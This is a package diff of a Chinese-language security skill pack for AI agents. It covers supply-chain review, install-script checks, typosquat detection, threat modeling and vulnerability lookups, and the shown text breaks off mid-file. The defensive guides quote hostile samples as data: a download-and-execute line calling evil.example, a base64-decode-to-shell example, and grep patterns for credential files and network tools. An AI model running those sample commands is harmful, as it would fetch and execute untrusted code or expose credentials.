@perrylink/dsh-skill-pack-security-provider 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. package/README.md +93 -0
  2. package/cordis.patch.yml +10 -0
  3. package/lib/index.js +82 -0
  4. package/lib/types/index.d.ts +30 -0
  5. package/pack/skills/dependency-audit/SKILL.md +136 -0
  6. package/pack/skills/dependency-audit/references/license-and-lockfile.md +56 -0
  7. package/pack/skills/dependency-audit/references/pnpm-audit-reading.md +63 -0
  8. package/pack/skills/incident-response/SKILL.md +83 -0
  9. package/pack/skills/incident-response/references/runbook-and-postmortem.md +82 -0
  10. package/pack/skills/prompt-injection-review/SKILL.md +119 -0
  11. package/pack/skills/prompt-injection-review/references/injection-surfaces.md +74 -0
  12. package/pack/skills/secret-scan/SKILL.md +123 -0
  13. package/pack/skills/secret-scan/references/redaction-and-remediation.md +58 -0
  14. package/pack/skills/secret-scan/references/tool-usage.md +83 -0
  15. package/pack/skills/security-audit/SKILL.md +111 -0
  16. package/pack/skills/security-audit/references/report-template.md +53 -0
  17. package/pack/skills/security-audit/references/risk-classification.md +40 -0
  18. package/pack/skills/supply-chain-review/SKILL.md +96 -0
  19. package/pack/skills/supply-chain-review/references/install-script-checks.md +34 -0
  20. package/pack/skills/supply-chain-review/references/typosquat-and-reproducibility.md +71 -0
  21. package/pack/skills/threat-model/SKILL.md +96 -0
  22. package/pack/skills/threat-model/references/stride-and-attack-tree.md +76 -0
  23. package/pack/skills/vuln-intel/SKILL.md +93 -0
  24. package/pack/skills/vuln-intel/references/advisory-sources.md +45 -0
  25. package/pack/skills-en/dependency-audit/SKILL.md +135 -0
  26. package/pack/skills-en/dependency-audit/references/license-and-lockfile.md +56 -0
  27. package/pack/skills-en/dependency-audit/references/pnpm-audit-reading.md +63 -0
  28. package/pack/skills-en/incident-response/SKILL.md +83 -0
  29. package/pack/skills-en/incident-response/references/runbook-and-postmortem.md +82 -0
  30. package/pack/skills-en/prompt-injection-review/SKILL.md +118 -0
  31. package/pack/skills-en/prompt-injection-review/references/injection-surfaces.md +74 -0
  32. package/pack/skills-en/secret-scan/SKILL.md +122 -0
  33. package/pack/skills-en/secret-scan/references/redaction-and-remediation.md +58 -0
  34. package/pack/skills-en/secret-scan/references/tool-usage.md +83 -0
  35. package/pack/skills-en/security-audit/SKILL.md +109 -0
  36. package/pack/skills-en/security-audit/references/report-template.md +53 -0
  37. package/pack/skills-en/security-audit/references/risk-classification.md +40 -0
  38. package/pack/skills-en/supply-chain-review/SKILL.md +95 -0
  39. package/pack/skills-en/supply-chain-review/references/install-script-checks.md +34 -0
  40. package/pack/skills-en/supply-chain-review/references/typosquat-and-reproducibility.md +71 -0
  41. package/pack/skills-en/threat-model/SKILL.md +96 -0
  42. package/pack/skills-en/threat-model/references/stride-and-attack-tree.md +76 -0
  43. package/pack/skills-en/vuln-intel/SKILL.md +93 -0
  44. package/pack/skills-en/vuln-intel/references/advisory-sources.md +45 -0
  45. package/package.json +52 -0
@@ -0,0 +1,40 @@
1
+ # 风险分级细则(security-audit/references/risk-classification.md)
2
+
3
+ 主文件阶段 3 的完整定义。定级只用三要素:**可利用性 × 影响 × 是否已暴露**,三者都写进报告行,缺一不可。
4
+
5
+ ## 四级定义
6
+
7
+ | 级别 | 定义 | 处置时限 | 报告措辞模板 |
8
+ |---|---|---|---|
9
+ | 严重(Critical) | 已暴露的真实凭据、可直接远程利用的漏洞、绕过所有防护的注入面 | 立即处理,审计结束前给出处置 | "已确认:<类型> 在 <位置> 暴露于 <范围>,具备 <影响>。" |
10
+ | 高(High) | 可本地/低权限利用,或影响面大但利用需要前提条件 | 本次迭代内处理 | "发现:<类型> 在 <位置>,利用前提为 <前提>。" |
11
+ | 中(Medium) | 纵深防御缺口、配置隐患、依赖中无可利用路径的已知漏洞 | 排期处理 | "观察:<类型> 建议在 <版本/计划> 中处理。" |
12
+ | 低(Low) | 信息暴露、样式/卫生问题、历史遗留 | 记录在案 | "记录:<类型> 不构成当前风险。" |
13
+
14
+ ## CVSS 粗映射(仅作参考,不替代三要素)
15
+
16
+ - Critical 9.0–10.0 → 严重
17
+ - High 7.0–8.9 → 高
18
+ - Medium 4.0–6.9 → 中
19
+ - Low 0.1–3.9 → 低
20
+
21
+ 判据:CVSS 只是上游评分;本仓库是否受影响必须由三要素重估(例如只在 devDependencies 中且不参与构建的漏洞包,即便 CVSS 为 critical,也可降为中并写明理由)。
22
+
23
+ ## 复核命令
24
+
25
+ | 发现类型 | 复核命令 | 通过判据 |
26
+ |---|---|---|
27
+ | 密钥 | `git grep -n '<前 6 字符>' <提交哈希> -- '<路径>'` | 输出命中行且内容为凭据格式 |
28
+ | 依赖漏洞 | 在 `pnpm audit --json` 输出中检索 advisory id | 该 id 存在且 `severity` 匹配报告 |
29
+ | 新增依赖 | `git log --oneline --follow -- <锁文件>` | 引入提交存在且与该依赖版本对应 |
30
+ | 注入面 | 原文出处 grep(见 prompt-injection-review) | 原文存在且上下文与引用一致 |
31
+
32
+ ## 升级/降级规则
33
+
34
+ - 无法复核的定级 → 一律降为"观察"。
35
+ - 复核失败(命令无输出、内容不符)→ 降为"观察"或删除;不删除但保留原级别的,必须在报告写原因。
36
+ - 同一根因的多条发现合并为一条,在行内列出全部位置。
37
+
38
+ ## 合规映射(可选附录,仅供参考,不参与定级)
39
+
40
+ 需要对齐合规框架时,在报告附录给出粗映射:OWASP ASVS(按验证需求分组归类发现)与 NIST CSF(识别/保护/检测/响应/恢复五个职能归类)。映射只是沟通用标注,级别仍只由三要素决定;禁止用"合规要求"反推定级。
@@ -0,0 +1,96 @@
1
+ ---
2
+ name: supply-chain-review
3
+ description: 'PR/新依赖快速供应链评审:危险 install/postinstall 脚本检查、typosquat 相似名判断、可复现构建验证,每项附误报判据与通过/要求修改/阻断三档决策阈值。评审引入新依赖的 PR 或需快速给出新增依赖风险结论时用;与新增依赖无关的普通代码评审不用。'
4
+ whenToUse: '评审含新依赖(package.json/锁文件变更)的 PR、审查某包的 install 脚本行为、判断疑似 typosquat 包或验证构建可复现性时使用;纯业务代码、与新增依赖无关的 PR 评审不触发本技能。'
5
+ metadata:
6
+ pack: dsh-skill-pack-security
7
+ version: '1.3.0'
8
+ ---
9
+
10
+ # 新增依赖快速评审(supply-chain-review)
11
+
12
+ 目标:在 PR 评审时间内(几分钟)对新增依赖给出 **通过 / 要求修改 / 阻断** 三档结论;每条结论必须附命令证据与误报排除说明。
13
+
14
+ ## 0. 确认范围
15
+
16
+ ```sh
17
+ git diff <base>...HEAD --stat -- package.json pnpm-lock.yaml
18
+ git diff <base>...HEAD --unified=0 -- package.json | grep '^+'
19
+ ```
20
+
21
+ 样例输出:
22
+
23
+ ```
24
+ package.json | 4 ++++
25
+ pnpm-lock.yaml | 12 ++++++++++++
26
+ + "example-lib": "^2.3.0",
27
+ ```
28
+
29
+ 判据:无 manifest 变更 → 本技能不适用,停止;只有 devDependencies 变更 → 按"不进生产产物"整体降一档风险,但脚本检查照做。
30
+ `<base>` 用 PR 的真实 base(`git merge-base <base> HEAD` 可先确认),不要猜。
31
+
32
+ ## 1. 危险 install 脚本检查(阻断级候选)
33
+
34
+ 对每个新包执行:
35
+
36
+ ```sh
37
+ npm view <包> scripts --json
38
+ ```
39
+
40
+ 样例输出:`{ "postinstall": "node scripts/download.js" }`。
41
+ 危险特征清单(完整版与复核 grep 见 `references/install-script-checks.md`):
42
+
43
+ - `curl`/`wget`/`Invoke-WebRequest` 下载可执行文件后执行;
44
+ - `base64 -d`/`eval`/`child_process.exec`/`os.system` 配合外部输入或拼接载荷;
45
+ - 写入 `~/.ssh`、`.npmrc`、`.gitconfig`、credentials、全局 shell 配置。
46
+
47
+ 复核命令(解包看真实内容,不只信 manifest 描述):
48
+
49
+ ```sh
50
+ npm pack <包> --pack-destination .tmp
51
+ tar -xzf .tmp/<包>-<版本>.tgz -C .tmp
52
+ grep -rnE '(curl|wget|base64|eval|\.ssh|npmrc)' .tmp/package/package.json .tmp/package/*.js
53
+ ```
54
+
55
+ 样例输出:`.tmp/package/scripts/download.js:3:curl -sSL https://evil.example/x -o /tmp/x && chmod +x /tmp/x`
56
+ 误报判据:**构建工具链的安装脚本是生态惯例**(esbuild、sharp、node-gyp、core-js 等)——放行判据 = 脚本行为与包用途一致 且 不触碰用户凭据/全局配置;两者任一不满足 = 阻断级。
57
+ 阻断条件(任一即阻断):下载并执行二进制、访问凭据文件、混淆载荷(base64/hex 拼装后 eval)、安装后写全局配置。
58
+ git 安装向量:依赖来自 git URL 时(DSH 的 git 安装会执行 `prepare` 脚本),`npm view` 看不到其脚本——先 `git grep -nE 'git\+https?://' -- package.json` 定位,再 `git clone --depth 1 <url> .tmp/gitdep` 后 `grep -nE '"(prepare|preinstall)"' .tmp/gitdep/package.json`;`prepare` 在安装时执行,与 postinstall 同级对待。
59
+ 包体异常:`npm view <包> dist.fileCount dist.tarball --json`。判据:fileCount 异常大(如 >1000)或 tarball 域名非 `registry.npmjs.org` → 记录并人工复核。
60
+
61
+ ## 2. typosquat 检查
62
+
63
+ 对每个新包名:
64
+
65
+ ```sh
66
+ npm view <包> time.created
67
+ npm view <包> --json | grep -E '"downloads"|"weekly"'
68
+ ```
69
+
70
+ 样例输出:`2026-08-10T02:00:00.000Z`(两周前创建);downloads 字段可能不存在(说明:部分 registry 不返回该字段,缺失按"未知"处理,不据此定论)。
71
+ 名称比对:与流行包逐一比对编辑距离(混淆对清单与命令见 `references/typosquat-and-reproducibility.md`),例如 `lodahs` vs `lodash`、`react-domm` vs `react-dom`。
72
+ 判据:**名称与流行包编辑距离 ≤ 2 且 创建时间短/下载量极低 两条同时成立 → 阻断**;只中一条 → 要求修改并转 `dependency-audit` 投毒清单复查。
73
+ 误报判据:领域完全无关的小众同名包,不因"下载量低"单条被误杀——必须"名称相似 + 上下文可疑"同时成立。
74
+
75
+ ## 3. 可复现构建验证
76
+
77
+ ```sh
78
+ git ls-files -- '*lock*' | head -n 5
79
+ grep -nE 'frozen-lockfile|npm ci|--frozen' .github/workflows/* 2>/dev/null
80
+ grep -c 'integrity' <锁文件>
81
+ pnpm install --frozen-lockfile
82
+ ```
83
+
84
+ 样例输出:锁文件路径一行;CI 命中行 `install: pnpm install --frozen-lockfile`;integrity 计数 `1234`。
85
+ 判据(三要素,见 `references/typosquat-and-reproducibility.md`):
86
+ - 锁文件已提交 + CI 冻结安装 + integrity 字段齐全 = 通过;
87
+ - 缺任一 = 要求修改;
88
+ - 缺锁文件 **且** 新增直接依赖 > 20 个 = 阻断。
89
+ - `pnpm install --frozen-lockfile` 失败样例与处理转 `dependency-audit` 第 5 节;平台差异不关冻结开关。
90
+ - CI 配置复核(PR 改了 workflow 时必查):`git diff <base>...HEAD -- .github/workflows | grep -nE '^\+.*uses:'`——新增/改动的 `uses: <owner>/<repo>@v<数字>` 未 pin 到 commit SHA(`@<40位hex>`)→ 要求修改(tag 可被移动);只读、不触密钥的第三方 action 记录即可,不阻断。
91
+ - 锁文件新增量复核:`git diff <base>...HEAD -- <锁文件> | grep -cE '^\+'` 与新增直接依赖数对照;声明 1 个依赖却 +500 行 → 记录并人工核对 diff 内容。
92
+
93
+ ## 4. 结论与评论模板
94
+
95
+ 三档定义、触发条件与 PR 评论模板见 `references/typosquat-and-reproducibility.md`。
96
+ 结论必须包含:证据命令 + 输出摘要 + 误报排除说明("我排除了 X,因为 <证据>")。
@@ -0,0 +1,34 @@
1
+ # install 脚本危险模式(supply-chain-review/references/install-script-checks.md)
2
+
3
+ 主文件第 1 节的完整危险模式表与复核命令。
4
+
5
+ ## 危险模式全表
6
+
7
+ | 模式 | 样例 | 复核 grep | 级别 |
8
+ |---|---|---|---|
9
+ | 下载并执行二进制 | `curl -sSL https://x/y -o /tmp/x && chmod +x /tmp/x && /tmp/x` | `grep -rnE '(curl|wget|Invoke-WebRequest)' <解包目录>` | 阻断 |
10
+ | 混淆载荷 | `echo "aGVsbG8=" | base64 -d | sh`、hex 拼装后 `eval` | `grep -rnE '(base64|eval|child_process|os\.system|fromCharCode)' <解包目录>` | 阻断 |
11
+ | 凭据文件访问 | 读/写 `~/.ssh`、`.npmrc`、`.gitconfig`、`credentials` | `grep -rnE '(\.ssh|npmrc|gitconfig|credential)' <解包目录>` | 阻断 |
12
+ | 全局配置写入 | 写 `~/.bashrc`、`~/.zshrc`、`/etc/profile.d` | `grep -rnE '(bashrc|zshrc|profile\.d)' <解包目录>` | 阻断 |
13
+ | git 依赖的 prepare/preinstall | 依赖为 `git+https://…` 且包声明 `prepare` 脚本(安装时执行,`npm view` 看不到) | `git grep -nE 'git\+https?://' -- package.json` 定位后 clone 并 `grep -nE '"(prepare|preinstall)"' .tmp/gitdep/package.json` | 与 postinstall 同级(阻断级候选) |
14
+ | 外联到与用途无关域名 | 包是 markdown 解析器却请求 `telemetry.example.org` | `grep -rnE 'https?://' <解包目录> | grep -v 包主页域名` | 记录(转 dependency-audit 投毒第 4 项) |
15
+
16
+ 复核命令(解包后统一执行):
17
+
18
+ ```sh
19
+ npm pack <包> --pack-destination .tmp
20
+ tar -xzf .tmp/<包>-<版本>.tgz -C .tmp
21
+ grep -rnE '(curl|wget|Invoke-WebRequest|base64|eval|child_process|os\.system|\.ssh|npmrc|gitconfig|bashrc|zshrc)' .tmp/package/
22
+ ```
23
+
24
+ 判据:任何命中都要人工看上下文;"阻断"只对前四类模式,第五类先记录。
25
+
26
+ ## 生态惯例白名单(误报判据)
27
+
28
+ esbuild、sharp、node-gyp、core-js、puppeteer(可选)、canvas 等的安装脚本下载/编译**与包用途一致**且**不触碰凭据/全局配置**——放行判据就是这两条同时成立。
29
+ 判据演练:`sharp` 的 `install` 下载预编译 libvips = 与用途一致 + 不碰凭据 → 放行;任何包下载 `/tmp/x` 后 `chmod +x` 执行 = 与用途无关 → 阻断。
30
+
31
+ ## 输出要求
32
+
33
+ 对每个有 install 脚本的新包输出一行结论:
34
+ `<包>@<版本>: <脚本名> = <一句话行为> → 放行/记录/阻断(理由:<与用途一致性>, <凭据/全局配置触碰>)`
@@ -0,0 +1,71 @@
1
+ # typosquat 判定与可复现构建(supply-chain-review/references/typosquat-and-reproducibility.md)
2
+
3
+ 主文件第 2、3、4 节的完整清单、阈值表与评论模板。
4
+
5
+ ## 名称混淆对清单(先查常见对,再做编辑距离)
6
+
7
+ | 被仿对象 | 常见变体 |
8
+ |---|---|
9
+ | lodash | lodahs / lodas-h / l0dash / lodashx |
10
+ | react / react-dom | react-domm / reactjs-dom / raect-dom |
11
+ | axios | axois / axioss / axio-s |
12
+ | express | expres / expresss / experss |
13
+ | request | requests2 / request-promise-x |
14
+ | moment | momemt / momet / moment-js |
15
+
16
+ 编辑距离命令(PowerShell/Node 任一;结果 ≤ 2 进入可疑集):
17
+
18
+ ```sh
19
+ node -e "const lv=(a,b)=>{const m=a.length,n=b.length,d=Array.from({length:m+1},(_,i)=>[i,...Array(n).fill(0)]);for(let j=0;j<=n;j++)d[0][j]=j;for(let i=1;i<=m;i++)for(let j=1;j<=n;j++)d[i][j]=Math.min(d[i-1][j]+1,d[i][j-1]+1,d[i-1][j-1]+(a[i-1]===b[j-1]?0:1));return d[m][n]};console.log(lv(process.argv[1],process.argv[2]))" <新包名> <流行包名>
20
+ ```
21
+
22
+ 样例输出:`2`
23
+ 判据:编辑距离 ≤ 2 是**必要条件不是充分条件**——必须叠加"创建时间短/下载量极低"才定阻断。
24
+
25
+ ## npm view 字段说明
26
+
27
+ | 命令 | 字段 | 缺失时的处理 |
28
+ |---|---|---|
29
+ | `npm view <包> time.created` | 创建时间 | 无输出 = 包不存在/registry 不通,先确认包名拼写 |
30
+ | `npm view <包> --json` 的 `downloads`/`weeklyDownloads` | 下载量 | 部分 registry 不返回 → 按"未知"记录,不据此定论 |
31
+ | `npm view <包> repository.url` | 源码仓库 | 缺失/可疑 fork → 记录,转 dependency-audit 第 4 项 |
32
+ | `npm view <包> dist.fileCount dist.tarball --json` | 包体规模与下载源 | fileCount 异常大(>1000)或 tarball 域名非 `registry.npmjs.org` → 记录并人工复核 |
33
+
34
+ ## 可复现构建三要素与判据
35
+
36
+ | 要素 | 命令 | 通过判据 |
37
+ |---|---|---|
38
+ | 锁文件已提交 | `git ls-files -- '*lock*'` | 输出至少一个锁文件路径 |
39
+ | CI 冻结安装 | `grep -nE 'frozen-lockfile|npm ci' .github/workflows/*` | 至少一行命中 |
40
+ | integrity 字段 | `grep -c 'integrity' <锁文件>` | 计数 > 0 且与依赖条目数量级一致 |
41
+
42
+ 三档决策:
43
+
44
+ - **通过**:三要素齐全 + 第 1、2 节无阻断项。
45
+ - **要求修改**:缺任一要素,或第 2 节只中一条可疑条件。
46
+ - **阻断**:第 1 节任一阻断模式;第 2 节两条同时成立;缺锁文件且新增直接依赖 > 20。
47
+
48
+ ## 附加复核(不改变三档门槛,但必须随结论记录)
49
+
50
+ - **CI action pinning**:`git diff <base>...HEAD -- .github/workflows | grep -nE '^\+.*uses:'`。新增/改动的 `uses: <owner>/<repo>@v<数字>` 未 pin 到 commit SHA(`@<40位hex>`)→ 要求修改;只读、不触密钥的第三方 action 记录即可。
51
+ - **锁文件新增量**:`git diff <base>...HEAD -- <锁文件> | grep -cE '^\+'` 与新增直接依赖数对照;声明 1 个依赖却 +500 行 → 记录并人工核对 diff。
52
+
53
+ ## PR 评论模板
54
+
55
+ 通过:
56
+
57
+ ```
58
+ 依赖评审通过。证据:npm view <包> scripts 无 install 脚本;时间/下载量正常;锁文件+CI 冻结安装+integrity 齐全。误报排除:<包> 的构建脚本属于生态惯例(与用途一致、不触碰凭据)。
59
+ ```
60
+
61
+ 要求修改:
62
+
63
+ ```
64
+ 依赖评审:要求修改。<具体缺口> 不满足:<证据命令与输出摘要>。请 <补锁文件/加冻结安装/说明下载量来源> 后我再复核。
65
+ ```
66
+
67
+ 阻断:
68
+
69
+ ```
70
+ 依赖评审:阻断。<危险模式/typosquat 两条条件> 命中:<证据命令与输出摘要>。风险:<一句话后果>。建议:<换包/锁定可信来源>。
71
+ ```
@@ -0,0 +1,96 @@
1
+ ---
2
+ name: threat-model
3
+ description: '新功能/新系统的轻量威胁建模:固定对象→划定范围与信任边界→资产清单→STRIDE 逐资产威胁表→攻击树(可选)→缓解与优先级,产出可进设计评审的威胁模型文档。为新功能/新改动做设计阶段安全评审、梳理信任边界或画攻击树时用;与安全边界无关的纯 bug 修复、已有成熟建模流程的团队不展开本流程。'
4
+ whenToUse: '用户要求对新功能/新系统做威胁建模、设计阶段安全评审、STRIDE 分析、攻击树分析,或要求把安全考虑前置到设计阶段时使用;纯实现细节讨论、与信任边界无关的改动不触发本技能。'
5
+ metadata:
6
+ pack: dsh-skill-pack-security
7
+ version: '1.3.0'
8
+ ---
9
+
10
+ # 威胁建模(threat-model)
11
+
12
+ 本技能做**设计阶段**的轻量威胁建模:对一次改动/一个新组件,产出信任边界、STRIDE 威胁表与缓解清单。它只覆盖建模方法论;已有审计发现要定级转 `security-audit`,具体漏洞查情报转 `vuln-intel`。产物不含密钥,可进设计文档。
13
+
14
+ ## 1. 固定建模对象(不固定对象,模型不可复现)
15
+
16
+ ```sh
17
+ git rev-parse --show-toplevel
18
+ git log -1 --format='%H %cd' --date=iso-strict
19
+ ```
20
+
21
+ 预期输出样例(以实际输出为准):
22
+
23
+ ```
24
+ D:\repo\example
25
+ a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0 2026-08-14T10:30:00+08:00
26
+ ```
27
+
28
+ 判据:退出码 0 且第一行为绝对路径;威胁模型文档头部必须记录该提交哈希——评审者据此知道模型针对哪个版本。
29
+
30
+ ## 2. 划定范围:改了什么、边界在哪
31
+
32
+ ```sh
33
+ git diff --stat <base>...HEAD
34
+ git diff --name-only <base>...HEAD
35
+ ```
36
+
37
+ 预期输出样例:`src/auth/session.ts | 40 ++++`,随后是改动文件路径列表。
38
+ 判据:范围 = 本次 diff 触及的文件与组件;**不做全仓库建模**(全仓库建模产出太大、评审没人看)。新建模块没有 diff 时用 `git ls-files -- '<模块目录>'` 代替。
39
+ 信任边界四类,每个资产必须标出所在边界:进程内(同进程代码之间)、进程间(IPC/HTTP/RPC)、系统边界(本机/内核/文件系统)、外部(第三方服务/用户/上游数据)。
40
+
41
+ ## 3. 资产清单(STRIDE 表的行)
42
+
43
+ ```sh
44
+ git ls-files -- 'package.json' 'pnpm-lock.yaml' '.env*' '.github/workflows/**' 'Dockerfile*' '*.tf' 'cordis.yml' '**/cordis.yml' '*.pem' '**/*.key'
45
+ ```
46
+
47
+ 预期输出样例:每行一个相对路径;无匹配 = 该类资产不存在。
48
+ 判据:资产至少覆盖四类——数据(密钥、用户数据、配置)、代码(本次改动模块)、通道(API、消息、日志)、宿主(CI、容器、外部依赖)。缺哪类补哪类,不能只列本次 diff 的文件。
49
+
50
+ ## 4. STRIDE 逐资产威胁表
51
+
52
+ 对第 3 节每个资产过六问(完整定义与提问提示见 `references/stride-and-attack-tree.md`):
53
+
54
+ | 资产 | S 仿冒 | T 篡改 | R 抵赖 | I 信息泄露 | D 拒绝服务 | E 提权 | 进入路径 | 缓解 |
55
+ |---|---|---|---|---|---|---|---|---|
56
+ | 例:会话 token | 伪造 token | 篡改声明 | 无审计日志 | 日志打印 token | 会话风暴 | 越权换身份 | API 无签名校验 | 签名 + 最小权限 |
57
+
58
+ 判据:**每一格要么有威胁、要么写明"不适用(原因)"**——空着等于没建模;威胁必须写"谁、通过哪条路径、造成什么影响"三要素,缺一降为"观察"。
59
+ 填完倒查:每个资产的"进入路径"是否都经过一个信任边界;没经过任何边界的资产 = 边界图遗漏,回第 2 节补。
60
+
61
+ ## 5. 攻击树(可选:只给高风险面画)
62
+
63
+ ```sh
64
+ dot -Tpng attack-tree.dot -o attack-tree.png
65
+ # 无 graphviz 时用缩进文本树代替(示例见 references)
66
+ ```
67
+
68
+ 预期输出样例:退出码 0 并生成 `attack-tree.png`。
69
+ 判据:只对第 4 节中"高影响 × 多前提"的威胁画树,根 = 攻击目标,叶 = 前置条件;**每片叶必须可验证**(一条命令能证明该前提成立/不成立),验证不了的叶子标注"未验证假设"。`.dot` 源文件与渲染图都进评审材料。
70
+
71
+ ## 6. 缓解与优先级
72
+
73
+ 缓解从四个方向选(每个方向的落地模板见 `references/stride-and-attack-tree.md`):
74
+
75
+ - 消除:改设计让路径不存在(最高优先,评审会上先问"能不能不做");
76
+ - 转移:交给已有防护(认证交给 SSO、密钥交给 KMS/CI secrets);
77
+ - 缓解:边界上加校验(签名、鉴权、限流、脱敏日志);
78
+ - 接受:写明理由与残余风险,记录为"接受的风险"。
79
+
80
+ 优先级判据 = 可利用性 × 影响(同 `security-audit` 三要素,去掉"是否已暴露"——设计阶段还没有暴露一说)。
81
+
82
+ ## 7. 交付物与自检
83
+
84
+ 交付物:信任边界描述(文字或图)+ 资产清单 + STRIDE 表 +(可选)攻击树 + 缓解清单。
85
+ 自检命令(预期输出:无匹配;有匹配 = 表里有没填完的行):
86
+
87
+ ```sh
88
+ grep -nE '\| *TBD *\||待定' threat-model.md
89
+ ```
90
+
91
+ ## 与其他技能的分工
92
+
93
+ - `security-audit`:对已有仓库做全面审计与定级——建模发现的高风险路径交给它逐项验证。
94
+ - `vuln-intel`:设计里引用的第三方组件有 CVE 时,查详情与影响。
95
+ - `supply-chain-review`:建模范围含新增依赖时,对依赖做快速供应链评审。
96
+ - `secret-scan`:资产清单里的密钥类资产直接交给它扫描与脱敏。
@@ -0,0 +1,76 @@
1
+ # STRIDE 与攻击树细则(threat-model/references/stride-and-attack-tree.md)
2
+
3
+ 主文件第 4–6 节的完整定义、提问提示与模板。
4
+
5
+ ## STRIDE 六问定义
6
+
7
+ | 类别 | 全称 | 要问的问题 | 常见进入路径 |
8
+ |---|---|---|---|
9
+ | S | Spoofing 仿冒 | 谁能冒充合法主体(用户/服务/包)? | 无签名的 API、可伪造的 token、未校验的域名 |
10
+ | T | Tampering 篡改 | 谁能改数据/代码/配置且不被发现? | 明文传输、无完整性校验的缓存、可写的配置文件 |
11
+ | R | Repudiation 抵赖 | 出事后能否证明"谁做了什么"? | 无审计日志、日志可被同级权限删除 |
12
+ | I | Information disclosure 信息泄露 | 谁能看到不该看的数据? | 日志打印密钥、越权接口、错误信息回显 |
13
+ | D | Denial of service 拒绝服务 | 谁能让服务/流程不可用? | 无界队列、无超时的外部调用、资源未限流 |
14
+ | E | Elevation of privilege 提权 | 谁能获得超出设计的权限? | 越权参数、默认高权限账号、可注入的配置 |
15
+
16
+ 判据:一格允许填"不适用(原因)",但**原因必须与资产属性相关**(如"静态文档无写入通道 → T 不适用"),"感觉没事"不是原因。
17
+
18
+ ## 信任边界四类
19
+
20
+ 1. **进程内**:同进程代码之间——默认互信,除非有插件/动态加载;
21
+ 2. **进程间**:IPC/HTTP/RPC/消息队列——每次跨越都要问"谁在另一边、凭证是什么";
22
+ 3. **系统边界**:本机文件系统、内核、环境变量、容器运行时;
23
+ 4. **外部**:第三方 API、用户输入、上游仓库/镜像——最高危,所有外部输入默认按数据处理(见 `prompt-injection-review` 三问)。
24
+
25
+ ## 攻击树画法
26
+
27
+ - 根 = 攻击目标("拿到 X 的写权限"),叶 = 前置条件("服务未鉴权")。
28
+ - 每片叶标验证方式:一条能证明该前提成立/不成立的命令;验证不了的写"未验证假设"。
29
+ - 缩进文本树示例:
30
+
31
+ ```text
32
+ 拿到部署权限
33
+ ├─ 或:窃取 CI 令牌
34
+ │ ├─ 前提:仓库有明文 .env(验证:git grep -n 'TOKEN' -- '.env*')
35
+ │ └─ 前提:workflow 用 pull_request_target + secrets(验证:git grep -n 'pull_request_target' -- '.github/workflows/**')
36
+ └─ 或:依赖投毒
37
+ ├─ 前提:安装脚本放行(验证:npm view <包> scripts --json)
38
+ └─ 前提:action 未 pin SHA(验证:git grep -nE 'uses: [A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+@v[0-9]' -- '.github/workflows/**')
39
+ ```
40
+
41
+ `dot` 版同构(`.dot` 源文件与 `dot -Tpng` 渲染图都进评审材料):
42
+
43
+ ```dot
44
+ digraph attack_tree {
45
+ goal [label="拿到部署权限"];
46
+ steal_token [label="窃取 CI 令牌"];
47
+ poison_dep [label="依赖投毒"];
48
+ goal -> steal_token; goal -> poison_dep;
49
+ }
50
+ ```
51
+
52
+ ## 缓解落地模板
53
+
54
+ | 方向 | 模板写法 |
55
+ |---|---|
56
+ | 消除 | "该路径随设计改动消失:<设计变更>;验收:<命令> 证明路径不复存在" |
57
+ | 转移 | "交给 <现有防护>;验收:<防护的配置/文档位置>" |
58
+ | 缓解 | "在 <边界> 增加 <校验>;验收:<绕过尝试被拦截的命令>" |
59
+ | 接受 | "接受原因:<理由>;残余风险:<描述>;评审人:<名字>" |
60
+
61
+ ## 交付物模板
62
+
63
+ ```markdown
64
+ # <组件> 威胁模型
65
+ 对象:<仓库> @ <提交哈希>(固定于 2026-xx-xx)
66
+ 范围:<diff 或模块列表>
67
+ ## 信任边界
68
+ (文字或图;每个资产标边界类)
69
+ ## 资产清单
70
+ | 资产 | 类(数据/代码/通道/宿主) | 边界 |
71
+ ## STRIDE 表
72
+ (主文件第 4 节的表)
73
+ ## 攻击树(可选)
74
+ ## 缓解清单
75
+ | 威胁 | 方向(消除/转移/缓解/接受) | 落地 | 验收命令 |
76
+ ```
@@ -0,0 +1,93 @@
1
+ ---
2
+ name: vuln-intel
3
+ description: '漏洞情报检索与判定:NVD/CISA-KEV/GHSA/OSV 四处权威源的查询命令、响应解读与误判判据,把 CVE/GHSA 编号变成"是否在野利用 × 是否影响本项目"的带证据结论。给定 CVE/GHSA 编号查详情与影响、判断在野利用状态或写漏洞简报时用;无编号的泛漏洞科普不展开。'
4
+ whenToUse: '用户给出 CVE/GHSA 编号要求查详情与影响、判断漏洞是否被在野利用(KEV)、评估漏洞对当前项目/依赖的适用性或汇总漏洞情报简报时使用;没有具体编号的通用安全学习、与特定漏洞无关的讨论不触发本技能。'
5
+ metadata:
6
+ pack: dsh-skill-pack-security
7
+ version: '1.3.0'
8
+ ---
9
+
10
+ # 漏洞情报(vuln-intel)
11
+
12
+ 目标:把一个漏洞编号变成**每条都有出处命令**的风险结论。只转述来源数据(severity 照抄 NVD/GHSA,不自行推断);结论结构 = 编号 + 严重性 + 是否在野利用 + 是否影响本项目 + 修复建议。
13
+
14
+ ## 1. 工具就绪与速率限制
15
+
16
+ ```sh
17
+ curl --version; jq --version; gh --version
18
+ ```
19
+
20
+ 样例输出:`curl 8.9.1` / `jq-1.7.1` / `gh version 2.61.0`。
21
+ 判据:curl 与 jq 必须可用(所有查询都是 curl+jq);`gh` 可选(仅第 4 节认证查询用)。无 key 速率限制:NVD 每 30 秒约 5 次、GitHub API 每小时 60 次——批量查询时每请求间隔 6 秒,超限会收到 403/429,那是限流不是"漏洞不存在"。
22
+
23
+ ## 2. NVD(CVE 基线:描述、CVSS、参考链接)
24
+
25
+ ```sh
26
+ curl -s 'https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2024-1234' | jq '.vulnerabilities[0].cve | {id, published, lastModified, metrics, references: [.references[].url]}'
27
+ ```
28
+
29
+ 样例输出(以实际输出为准):
30
+
31
+ ```json
32
+ { "id": "CVE-2024-1234", "published": "2024-03-01T00:00:00.000", "lastModified": "2024-06-01T00:00:00.000", "metrics": { "cvssMetricV31": [ { "cvssData": { "baseSeverity": "HIGH", "baseScore": 8.1 } } ] }, "references": ["https://github.com/example/example-lib/security/advisories/GHSA-xxxx-yyyy-zzzz"] }
33
+ ```
34
+
35
